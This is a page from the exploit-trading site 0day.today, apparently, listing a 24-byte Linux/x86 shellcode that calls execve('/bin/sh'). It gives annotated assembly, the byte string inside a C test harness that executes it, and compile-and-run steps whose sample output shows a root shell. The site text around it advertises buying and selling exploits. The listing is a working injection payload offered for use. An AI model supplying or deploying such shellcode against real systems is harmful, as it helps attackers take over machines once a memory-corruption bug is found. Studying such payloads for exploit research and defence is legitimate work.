0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Linux/x86 - execve "/bin/sh" Shellcode (24 bytes)
/* ; Title: Linux/x86 execve "/bin/sh" - shellcode 24 byte ; Platform: linux/x86 ; Date: 2015-01-03 ; Author: Dennis 'dhn' Herrmann ; Website: https://zer0-day.pw BITS 32 global _start section .text ; syscalls kernel SYS_EXECVE equ 0x0b _start: ; execve("/bin//sh", 0, 0); push SYS_EXECVE ; SYS_EXECVE = 11 pop eax ; set SYS_EXECVE to eax xor esi, esi ; clean esi push esi ; esi is zero push 0x68732f2f ; push 'hs//' push 0x6e69622f ; push 'nib/' ; execve("/bin//sh/", 0, 0); ; ^ ; | ; ebx mov ebx, esp ; execve("/bin//sh/", 0, 0); ; ^ ; | ; ecx xor ecx, ecx ; clean ecx ; execve("/bin//sh/", 0, 0); ; ^ ; | ; edx mov edx, ecx ; set zero to edx int 0x80 ; syscall execve */ /* * $ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode * $ ./shellcode * Shellcode Length: 24 * # id * uid=0(root) gid=0(root) groups=0(root) */ #include <stdio.h> #include <string.h> char shellcode[] = { "\x6a\x0b" /* push 0xb */ "\x58" /* pop eax */ "\x31\xf6" /* xor esi,esi */ "\x56" /* push esi */ "\x68\x2f\x2f\x73\x68" /* push 0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push 0x6e69622f */ "\x89\xe3" /* mov ebx,esp */ "\x31\xc9" /* xor ecx,ecx */ "\x89\xca" /* mov edx,ecx */ "\xcd\x80" /* int 0x80 */ }; int main() { printf("Shellcode Length: %d\n", (int)strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); return 0; } # 0day.today [2024-10-06] #